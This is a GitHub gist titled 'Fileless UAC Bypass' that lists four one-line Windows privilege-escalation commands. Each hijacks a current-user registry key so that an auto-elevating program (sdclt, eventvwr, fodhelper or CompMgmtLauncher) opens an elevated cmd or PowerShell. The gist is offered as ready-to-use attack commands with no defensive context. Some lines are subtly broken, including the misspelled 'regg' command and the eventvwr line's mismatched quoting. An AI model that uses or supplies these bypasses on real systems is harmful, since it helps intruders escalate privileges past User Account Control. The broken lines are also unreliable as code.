Skip to content

Instantly share code, notes, and snippets.

@initpwn
Created August 7, 2017 16:12
Show Gist options
  • Save initpwn/ab27282b5ee7fa7ff961ed579b18e0aa to your computer and use it in GitHub Desktop.
Save initpwn/ab27282b5ee7fa7ff961ed579b18e0aa to your computer and use it in GitHub Desktop.
Fileless UAC Bypass
#sdclt fileless UAC bypass
regg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f
#eventvwr fileless UAC bypass
%windir%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe $executablepath = "Start-Process -FilePath 'cmd.exe'";$cmd = 'Start-Process -FilePath {0} -ArgumentList "/c reg add "HKCU\Software\Classes\mscfile\shell\open\command" /f /d "{0} /c %windir%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX $executablepath;IEX $cmd) "' -f $env:comspec;
#fodhelper fileless UAC bypass
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Value "cmd /c start powershell.exe" -Force;New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force;Start-Process "C:\Windows\System32\fodhelper.exe";Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
#CompMgmtLauncher fileless UAC bypass
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /d "'cmd.exe'" /f && %windir%\\System32\CompMgmtLauncher.exe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment